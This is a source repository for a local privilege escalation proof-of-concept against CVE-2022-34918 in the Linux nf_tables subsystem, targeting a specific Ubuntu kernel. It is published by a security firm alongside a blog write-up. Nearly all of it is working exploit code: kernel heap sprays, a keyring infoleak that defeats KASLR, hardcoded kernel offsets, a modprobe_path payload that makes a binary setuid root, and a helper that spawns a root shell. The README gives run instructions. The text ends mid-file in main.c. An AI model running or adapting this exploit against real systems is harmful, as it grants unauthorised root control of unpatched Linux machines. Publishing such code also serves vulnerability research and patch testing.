├── inc ├── log.h ├── modprobe.h ├── util.h ├── nf_tables.h ├── simple_xattr.h ├── uring.h ├── netlink.h └── keyring.h ├── get_root_src └── get_root.c ├── Makefile ├── src ├── uring.c ├── simple_xattr.c ├── util.c ├── modprobe.c ├── keyring.c ├── netlink.c ├── main.c └── nf_tables.c ├── LICENSE.md └── README.md /inc/log.h: -------------------------------------------------------------------------------- 1 | #ifndef _LOG_H_ 2 | #define _LOG_H_ 3 | 4 | #include 5 | 6 | #define do_error_exit(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while(0) 7 | 8 | #endif /* _LOG_H_ */ 9 | -------------------------------------------------------------------------------- /inc/modprobe.h: -------------------------------------------------------------------------------- 1 | #ifndef _MODPROBE_H_ 2 | #define _MODPROBE_H_ 3 | 4 | void setup_modprobe_payload(void); 5 | void get_root_shell(void); 6 | void prepare_root_shell(void); 7 | 8 | #endif /* _MODPROBE_H_ */ 9 | -------------------------------------------------------------------------------- /inc/util.h: -------------------------------------------------------------------------------- 1 | #ifndef _UTIL_H_ 2 | #define _UTIL_H_ 3 | 4 | #include 5 | 6 | #define FILENAME_MAX_LEN 0x80 7 | 8 | void new_ns(void); 9 | void set_cpu_affinity(int cpu_n, pid_t pid); 10 | char *generate_tmp_filename(void); 11 | 12 | #endif /* _UTIL_H_ */ 13 | -------------------------------------------------------------------------------- /get_root_src/get_root.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char **argv) { 6 | 7 | if (geteuid() == 0) { 8 | setuid(0); 9 | setgid(0); 10 | puts("[+] I am root"); 11 | system("bash"); 12 | } 13 | 14 | } 15 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all clean 2 | 3 | TARGET=poc 4 | 5 | SOURCES = $(wildcard src/*.c) 6 | HEADERS = $(wildcard inc/*.h) 7 | OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES)) 8 | 9 | CFLAGS= -I./inc 10 | LDFLAGS= -pthread -static 11 | 12 | all: obj $(TARGET) get_root 13 | 14 | $(TARGET): $(OBJECTS) 15 | $(CC) $(LDFLAGS) -o $@ $^ 16 | strip $@ 17 | 18 | obj/%.o: src/%.c 19 | $(CC) -c $< -o $@ $(CFLAGS) 20 | 21 | obj: 22 | mkdir obj 23 | 24 | get_root: get_root_src/get_root.c 25 | $(CC) -o $@ $^ 26 | 27 | clean: 28 | rm -rf obj 29 | rm -f $(TARGET) 30 | rm -f get_root 31 | -------------------------------------------------------------------------------- /inc/nf_tables.h: -------------------------------------------------------------------------------- 1 | #ifndef _NF_TABLES_H_ 2 | #define _NF_TABLES_H_ 3 | 4 | #include 5 | 6 | #define TABLEMSG_SIZE NLMSG_SPACE(sizeof(struct nfgenmsg) + S8_NLA_SIZE) 7 | 8 | #define KMALLOC64_KEYLEN (64 - 8 - 12 - 16) // Max size - elemsize - sizeof(nft_set_ext)(align) - min datasize 9 | 10 | void create_table(int sock, const char *name); 11 | void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id); 12 | void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data); 13 | 14 | #endif /* _NF_TABLES_H_ */ 15 | -------------------------------------------------------------------------------- /inc/simple_xattr.h: -------------------------------------------------------------------------------- 1 | #ifndef _SIMPLE_XATTR_H_ 2 | #define _SIMPLE_XATTR_H_ 3 | 4 | #include 5 | 6 | #define XATTR_FILE "/tmp/tmpfs/a" 7 | #define XATTR_VALUE "value" 8 | 9 | #define XATTR_DELETION_NAME "security.Iwanttoberoot" 10 | 11 | #define ATTRIBUTE_NAME_LEN 0x100 12 | #define COMMAND_MAX_LEN 0x100 13 | 14 | #define PREFIX_BUFFER_LEN 16 15 | 16 | struct write4_payload { 17 | uint8_t prefix[PREFIX_BUFFER_LEN]; 18 | void *next; 19 | void *prev; 20 | uint8_t name_offset; 21 | } __attribute__((packed)); 22 | 23 | void spray_simple_xattr(char *filename, uint32_t spray_size); 24 | void create_xattr(const char *filename, char *attribute_name); 25 | 26 | #endif /* _SIMPLE_XATTR_H_ */ 27 | -------------------------------------------------------------------------------- /inc/uring.h: -------------------------------------------------------------------------------- 1 | #ifndef _URING_H_ 2 | #define _URING_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define SPRAY_NB_ENTRIES 10 10 | 11 | struct fd_uring { 12 | int fd; 13 | struct io_uring_params *params; 14 | }; 15 | 16 | static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) { 17 | return syscall(__NR_io_uring_setup, entries, p); 18 | } 19 | 20 | static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) { 21 | return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); 22 | } 23 | 24 | void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer); 25 | void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size); 26 | 27 | #endif /* _URING_H_ */ 28 | -------------------------------------------------------------------------------- /inc/netlink.h: -------------------------------------------------------------------------------- 1 | #ifndef _NETLINK_H_ 2 | #define _NETLINK_H_ 3 | 4 | #include 5 | #include 6 | 7 | /* Netlink messages */ 8 | 9 | #define NETLINK_RECEIVE_BUFFER_SIZE 4096 10 | 11 | struct nlmsghdr *get_batch_begin_nlmsg(void); 12 | struct nlmsghdr *get_batch_end_nlmsg(void); 13 | 14 | /* Netlink attributes */ 15 | 16 | #define U32_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint32_t)) 17 | #define U64_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint64_t)) 18 | #define S8_NLA_SIZE (sizeof(struct nlattr) + 8) 19 | #define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x) 20 | #define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN) 21 | 22 | struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len); 23 | struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value); 24 | struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value); 25 | struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]); 26 | struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size); 27 | 28 | #endif /* _NETLINK_H_ */ 29 | -------------------------------------------------------------------------------- /inc/keyring.h: -------------------------------------------------------------------------------- 1 | #ifndef _KEYRING_H_ 2 | #define _KEYRING_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #define IO_RING_CTX_REF_FREE_OFFSET 0x3dfa00 9 | 10 | #define IO_RSRC_NODE_REF_ZERO_OFFSET 0x3e04f0 11 | 12 | #define KEY_DESC_MAX_SIZE 40 13 | 14 | #define PREFIX_BUF_LEN 16 15 | #define RCU_HEAD_LEN 16 16 | 17 | #define SPRAY_KEY_SIZE 50 18 | 19 | #define PHYSMAP_MASK 0xffffffff00000000 20 | 21 | struct keyring_payload { 22 | uint8_t prefix[PREFIX_BUF_LEN]; 23 | uint8_t rcu_buf[RCU_HEAD_LEN]; 24 | unsigned short len; 25 | }; 26 | 27 | struct leak { 28 | long kaslr_base; 29 | long physmap_base; 30 | }; 31 | 32 | typedef int32_t key_serial_t; 33 | 34 | static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) { 35 | return syscall(__NR_add_key, type, description, payload, plen, ringid); 36 | } 37 | 38 | static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) { 39 | return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5); 40 | } 41 | 42 | key_serial_t *spray_keyring(uint32_t spray_size); 43 | struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size); 44 | void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size); 45 | 46 | #endif /* _KEYRING_H_ */ 47 | -------------------------------------------------------------------------------- /src/uring.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "uring.h" 9 | #include "log.h" 10 | #include "util.h" 11 | 12 | /** 13 | * spray_uring(): Spray different caches of the kernel heap 14 | * @spray_size: Size to spray 15 | * @fd_buffer: Buffer used to store information about the allocated objects 16 | * 17 | * This spray is mainly used to spray the cache `kmalloc-64` with `percpu_ref_data` objects 18 | */ 19 | void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) { 20 | 21 | for (uint64_t i = 0; i < spray_size; i++) { 22 | 23 | fd_buffer[i].params = malloc(sizeof(struct io_uring_params)); 24 | if (!fd_buffer[i].params) 25 | do_error_exit("malloc"); 26 | memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params)); 27 | 28 | fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params); 29 | if (fd_buffer[i].fd < 0) 30 | do_error_exit("io_uring_create"); 31 | 32 | } 33 | } 34 | 35 | /** 36 | * release_uring(): Release percpu_ref_data objects allocated 37 | * @fd_buffer: Buffer that stores io_ring_ctx fds 38 | * @buffer_size: Size of the previous buffer 39 | */ 40 | void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) { 41 | 42 | for (uint32_t i = 0; i < buffer_size; i++) { 43 | close(fd_buffer[i].fd); 44 | } 45 | free(fd_buffer); 46 | } 47 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, RandoriSec 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /src/simple_xattr.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "log.h" 12 | #include "simple_xattr.h" 13 | 14 | /** 15 | * spray_simple_xattr(): Spray the heap with `simple_xattr` objects 16 | * @spray_size: Number of objects to put into `kmalloc-64` 17 | */ 18 | void spray_simple_xattr(char *filename, uint32_t spray_size) { 19 | 20 | char attribute_name[ATTRIBUTE_NAME_LEN]; 21 | 22 | /* Mount a new tmpfs to be able to set security xattr */ 23 | if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST) 24 | do_error_exit("mkdir"); 25 | 26 | if (mount(NULL, "/tmp/tmpfs", "tmpfs", 0, NULL) == -1) 27 | { 28 | do_error_exit("mount"); 29 | } 30 | /* Create a file to the set attributes */ 31 | int fd = creat(filename, 0644); 32 | close(fd); 33 | 34 | for (uint64_t i = 0; i < spray_size; i++) { 35 | /* Need that the name is allocated within `kmalloc-256` */ 36 | snprintf(attribute_name, ATTRIBUTE_NAME_LEN, "security.attr%215lu-%s", i, XATTR_DELETION_NAME); 37 | create_xattr(filename, attribute_name); 38 | } 39 | } 40 | 41 | /** 42 | * create_xattr(): Add an xattribute to a file with the value "value" 43 | * @filename: Name of the concerned file 44 | * @attribute_name: Attribute name 45 | */ 46 | void create_xattr(const char *filename, char *attribute_name) { 47 | 48 | if (setxattr(filename, attribute_name, XATTR_VALUE, strlen(XATTR_VALUE), XATTR_CREATE) < 0) 49 | do_error_exit("setxattr"); 50 | } 51 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-34918 LPE PoC 2 | 3 | LPE exploit for CVE-2022-34918. 4 | This exploit has been written for the kernel `Linux ubuntu 5.15.0-39-generic` 5 | 6 | You can find the associated write-up on our [blog](https://randorisec.fr/crack-linux-firewall/) 7 | 8 | ## Usage 9 | 10 | `get_root` should be in the current folder 11 | 12 | ``` 13 | $ ls 14 | get_root poc 15 | $ ./poc 16 | ``` 17 | 18 | ## License 19 | 20 | Copyright 2022, RandoriSec 21 | 22 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 23 | 24 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 25 | 26 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 27 | 28 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 29 | 30 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 31 | -------------------------------------------------------------------------------- /src/util.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "log.h" 12 | #include "util.h" 13 | 14 | /** 15 | * write_file(): Write a string into a file 16 | * @filename: File to write 17 | * @text: Text to write 18 | */ 19 | void write_file(const char *filename, char *text) { 20 | 21 | int fd = open(filename, O_RDWR); 22 | 23 | write(fd, text, strlen(text)); 24 | close(fd); 25 | } 26 | 27 | /** 28 | * new_ns(): Change the current namespace to access to netfilter and 29 | * to be able to write security xattr in a tmpfs 30 | */ 31 | void new_ns(void) { 32 | 33 | uid_t uid = getuid(); 34 | gid_t gid = getgid(); 35 | char buffer[0x100]; 36 | 37 | if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) 38 | do_error_exit("unshare(CLONE_NEWUSER | CLONE_NEWNS)"); 39 | 40 | if (unshare(CLONE_NEWNET)) 41 | do_error_exit("unshare(CLONE_NEWNET)"); 42 | 43 | write_file("/proc/self/setgroups", "deny"); 44 | 45 | snprintf(buffer, sizeof(buffer), "0 %d 1", uid); 46 | write_file("/proc/self/uid_map", buffer); 47 | snprintf(buffer, sizeof(buffer), "0 %d 1", gid); 48 | write_file("/proc/self/gid_map", buffer); 49 | } 50 | 51 | /** 52 | * set_cpu_affinity(): Pin a process to a CPU 53 | * @cpu_n: CPU to use 54 | * @pid: pid of the process to attach 55 | */ 56 | void set_cpu_affinity(int cpu_n, pid_t pid) { 57 | cpu_set_t set; 58 | 59 | CPU_ZERO(&set); 60 | CPU_SET(cpu_n, &set); 61 | 62 | if (sched_setaffinity(pid, sizeof(set), &set) < 0) 63 | do_error_exit("sched_setaffinity"); 64 | } 65 | 66 | /** 67 | * generate_tmp_filename(): Generate a filename to be used with 68 | * the xattr spray 69 | * 70 | * Return: New generated filename 71 | */ 72 | char *generate_tmp_filename(void) { 73 | static char buffer[FILENAME_MAX_LEN]; 74 | static uint64_t counter = 0; 75 | 76 | snprintf(buffer, FILENAME_MAX_LEN, "/tmp/tmpfs/file%lu", counter); 77 | counter++; 78 | 79 | return buffer; 80 | } 81 | -------------------------------------------------------------------------------- /src/modprobe.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "log.h" 14 | #include "modprobe.h" 15 | 16 | const char dummy_file[] = "/tmp/dummy\0"; 17 | 18 | const char dummy_content[] = "\xff\xff\xff\xff"; 19 | const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/get_root\nchmod 4555 /tmp/get_root\n"; 20 | 21 | sem_t *shell_barrier; 22 | 23 | /** 24 | * prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit 25 | */ 26 | void prepare_root_shell(void) { 27 | 28 | int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO); 29 | shell_barrier = shmat(shmid, NULL, 0); 30 | 31 | if (sem_init(shell_barrier, 1, 0) < 0) 32 | do_error_exit("sem_init"); 33 | 34 | if (!fork()) { 35 | system("cp get_root /tmp"); 36 | sem_wait(shell_barrier); 37 | execl("/tmp/get_root", "/tmp/get_root", NULL); 38 | exit(EXIT_SUCCESS); 39 | } 40 | } 41 | 42 | /** 43 | * create_dummy_file(): Create a file to trigger call_modprobe in case of execution 44 | */ 45 | void create_dummy_file(void) { 46 | 47 | int fd; 48 | 49 | fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); 50 | write(fd, dummy_content, sizeof(dummy_content)); 51 | close(fd); 52 | } 53 | 54 | /** 55 | * get_root_shell(): Trigger a call to the new modprobe_path 56 | */ 57 | void get_root_shell(void) { 58 | 59 | int pid = fork(); 60 | if (pid == 0) 61 | execl("/tmp/dummy", "/tmp/dummy", NULL); 62 | 63 | waitpid(pid, NULL, 0); 64 | sem_post(shell_barrier); 65 | } 66 | 67 | /** 68 | * get_new_modprobe_path(): Read the new modprobe_path 69 | * 70 | * Return: path stored within /proc/sys/kernel/modprobe 71 | */ 72 | char *get_new_modprobe_path(void) { 73 | 74 | int fd; 75 | char *modprobe_path = malloc(15); 76 | 77 | if (!modprobe_path) 78 | do_error_exit("malloc"); 79 | 80 | fd = open("/proc/sys/kernel/modprobe", O_RDONLY); 81 | if (fd < 0) 82 | do_error_exit("open(/proc/sys/kernel/modprobe)"); 83 | 84 | read(fd, modprobe_path, 14); 85 | 86 | close(fd); 87 | 88 | modprobe_path[14] = '\0'; 89 | 90 | return modprobe_path; 91 | } 92 | 93 | /** 94 | * write_new_modprobe(): Create chown && chmod script for get_root 95 | * @filename: current path to modprobe for the kernel 96 | */ 97 | void write_new_modprobe(char *filename) { 98 | 99 | int fd; 100 | 101 | fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); 102 | if (fd < 0) 103 | do_error_exit("open"); 104 | 105 | write(fd, new_modprobe_content, sizeof(new_modprobe_content)); 106 | 107 | close(fd); 108 | } 109 | 110 | /** 111 | * setup_modprobe_payload(): Prepare all the needed stuff to get a root shell 112 | */ 113 | void setup_modprobe_payload(void) { 114 | 115 | char *filename; 116 | 117 | filename = get_new_modprobe_path(); 118 | 119 | write_new_modprobe(filename); 120 | create_dummy_file(); 121 | 122 | free(filename); 123 | } 124 | 125 | -------------------------------------------------------------------------------- /src/keyring.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "log.h" 9 | #include "keyring.h" 10 | #include "util.h" 11 | 12 | /** 13 | * spray_keyring(): Spray the heap with `user_key_payload` structure 14 | * @spray_size: Number of object to put into the `kmalloc-64` cache 15 | * 16 | * Return: Allocated buffer with serial numbers of the created keys 17 | */ 18 | key_serial_t *spray_keyring(uint32_t spray_size) { 19 | 20 | char key_desc[KEY_DESC_MAX_SIZE]; 21 | key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); 22 | 23 | if (id_buffer == NULL) 24 | do_error_exit("calloc"); 25 | 26 | for (uint32_t i = 0; i < spray_size; i++) { 27 | snprintf(key_desc, KEY_DESC_MAX_SIZE, "RandoriSec-%03du", i); 28 | id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING); 29 | if (id_buffer[i] < 0) 30 | do_error_exit("add_key"); 31 | } 32 | 33 | return id_buffer; 34 | } 35 | 36 | /** 37 | * parse_leak(): Parse the infoleak to compute the kaslr base and the physmap base 38 | * @buffer: Buffer that contains the infoleak 39 | * @buffer_size: Size of the previous buffer 40 | * 41 | * Search for a pointer to the function `io_ring_ctx_ref_free` that is stored within a `percpu_ref_data` structure 42 | * Then compute the KASLR base 43 | * Finally use the pointer to the associated `percpu_ref` to compute the physmap base 44 | * 45 | * Return: KASLR base and physmap base of the running kernel 46 | */ 47 | struct leak *parse_leak(long *buffer, uint32_t buffer_size) { 48 | 49 | struct leak *ret = malloc(sizeof(struct leak)); 50 | if (!ret) 51 | do_error_exit("malloc"); 52 | 53 | for (uint32_t i = 0; i < buffer_size; i++) { 54 | 55 | /* Search for reference to the function io_ring_ctx_ref_free */ 56 | if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) { 57 | ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET; 58 | ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK; 59 | return ret; 60 | 61 | /* Search for reference to the function io_rsrc_node_ref_zero */ 62 | } else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) { 63 | ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET; 64 | ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK; 65 | return ret; 66 | } 67 | } 68 | 69 | free(ret); 70 | return NULL; 71 | } 72 | 73 | /** 74 | * get_keyring_leak(): Find the infoleak and compute the needed bases 75 | * @id_buffer: Buffer with the serial numbers of keys used to spray the heap 76 | * @id_buffer_size: Size of the previous buffer 77 | * 78 | * Search for a key with an unexpected size to find the corrupted object. 79 | * 80 | * Return: KASLR base and physmap base of the running kernel 81 | */ 82 | struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) { 83 | 84 | uint8_t buffer[USHRT_MAX] = {0}; 85 | int32_t keylen; 86 | 87 | for (uint32_t i = 0; i < id_buffer_size; i++) { 88 | 89 | keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0); 90 | if (keylen < 0) 91 | do_error_exit("keyctl"); 92 | 93 | if (keylen == USHRT_MAX) { 94 | return parse_leak((long *)buffer, keylen >> 3); 95 | } 96 | } 97 | return NULL; 98 | } 99 | 100 | /** 101 | * release_keys(): Release user_key_payload objects 102 | * @id_buffer: Buffer that stores the id of the key to remove 103 | * @id_buffer_size: Size of the previous buffer 104 | */ 105 | void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) { 106 | 107 | for (uint32_t i = 0; i < id_buffer_size; i++) { 108 | if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0) 109 | do_error_exit("keyctl(KEYCTL_REVOKE)"); 110 | } 111 | 112 | free(id_buffer); 113 | } 114 | -------------------------------------------------------------------------------- /src/netlink.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "log.h" 11 | #include "netlink.h" 12 | 13 | /** 14 | * get_batch_begin_nlmsg(): Construct a BATCH_BEGIN message for the netfilter netlink 15 | */ 16 | struct nlmsghdr *get_batch_begin_nlmsg(void) { 17 | 18 | struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg))); 19 | struct nfgenmsg *nfgm = (struct nfgenmsg *)NLMSG_DATA(nlh); 20 | 21 | if (!nlh) 22 | do_error_exit("malloc"); 23 | 24 | memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg))); 25 | nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg)); 26 | nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN; 27 | nlh->nlmsg_pid = getpid(); 28 | nlh->nlmsg_flags = 0; 29 | nlh->nlmsg_seq = 0; 30 | 31 | /* Used to access to the netfilter tables subsystem */ 32 | nfgm->res_id = NFNL_SUBSYS_NFTABLES; 33 | 34 | return nlh; 35 | } 36 | 37 | /** 38 | * get_batch_end_nlmsg(): Construct a BATCH_END message for the netfilter netlink 39 | */ 40 | struct nlmsghdr *get_batch_end_nlmsg(void) { 41 | 42 | struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg))); 43 | 44 | if (!nlh) 45 | do_error_exit("malloc"); 46 | 47 | memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg))); 48 | nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg)); 49 | nlh->nlmsg_type = NFNL_MSG_BATCH_END; 50 | nlh->nlmsg_pid = getpid(); 51 | nlh->nlmsg_flags = NLM_F_REQUEST; 52 | nlh->nlmsg_seq = 0; 53 | 54 | return nlh; 55 | } 56 | 57 | /** 58 | * set_nested_attr(): Prepare a nested netlink attribute 59 | * @attr: Attribute to fill 60 | * @type: Type of the nested attribute 61 | * @data_len: Length of the nested attribute 62 | */ 63 | struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) { 64 | attr->nla_type = type; 65 | attr->nla_len = NLA_ALIGN(data_len + sizeof(struct nlattr)); 66 | return (void *)attr + sizeof(struct nlattr); 67 | } 68 | 69 | /** 70 | * set_u32_attr(): Prepare an integer netlink attribute 71 | * @attr: Attribute to fill 72 | * @type: Type of the attribute 73 | * @value: Value of this attribute 74 | */ 75 | struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) { 76 | attr->nla_type = type; 77 | attr->nla_len = U32_NLA_SIZE; 78 | *(uint32_t *)NLA_ATTR(attr) = htonl(value); 79 | 80 | return (void *)attr + U32_NLA_SIZE; 81 | } 82 | 83 | /** 84 | * set_u64_attr(): Prepare a 64 bits integer netlink attribute 85 | * @attr: Attribute to fill 86 | * @type: Type of the attribute 87 | * @value: Value of this attribute 88 | */ 89 | struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) { 90 | attr->nla_type = type; 91 | attr->nla_len = U64_NLA_SIZE; 92 | *(uint64_t *)NLA_ATTR(attr) = htobe64(value); 93 | 94 | return (void *)attr + U64_NLA_SIZE; 95 | } 96 | 97 | /** 98 | * set_str8_attr(): Prepare a 8 bytes long string netlink attribute 99 | * @attr: Attribute to fill 100 | * @type: Type of the attribute 101 | * @name: Buffer to copy into the attribute 102 | */ 103 | struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]) { 104 | attr->nla_type = type; 105 | attr->nla_len = S8_NLA_SIZE; 106 | memcpy(NLA_ATTR(attr), name, 8); 107 | 108 | return (void *)attr + S8_NLA_SIZE; 109 | } 110 | 111 | /** 112 | * set_binary_attr(): Prepare a byte array netlink attribute 113 | * @attr: Attribute to fill 114 | * @type: Type of the attribute 115 | * @buffer: Buffer with data to send 116 | * @buffer_size: Size of the previous buffer 117 | */ 118 | struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) { 119 | attr->nla_type = type; 120 | attr->nla_len = NLA_BIN_SIZE(buffer_size); 121 | memcpy(NLA_ATTR(attr), buffer, buffer_size); 122 | 123 | return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size)); 124 | } 125 | -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "log.h" 15 | #include "util.h" 16 | #include "uring.h" 17 | #include "keyring.h" 18 | #include "modprobe.h" 19 | #include "nf_tables.h" 20 | #include "simple_xattr.h" 21 | 22 | #define ID 1337 23 | #define SET_NAME "name\0\0\0" 24 | #define LEAK_SET_NAME "leak\0\0\0" 25 | #define TABLE_NAME "table\0\0" 26 | 27 | #define MODPROBE_PATH_BASE 0x1e8b620 28 | 29 | #define SPRAY_SIZE 300 30 | 31 | int main(int argc, char **argv) { 32 | 33 | int sock; 34 | struct sockaddr_nl snl; 35 | struct write4_payload payload; 36 | struct keyring_payload leak_payload; 37 | struct leak *bases; 38 | struct fd_uring *fd_buffer; 39 | key_serial_t *id_buffer; 40 | char 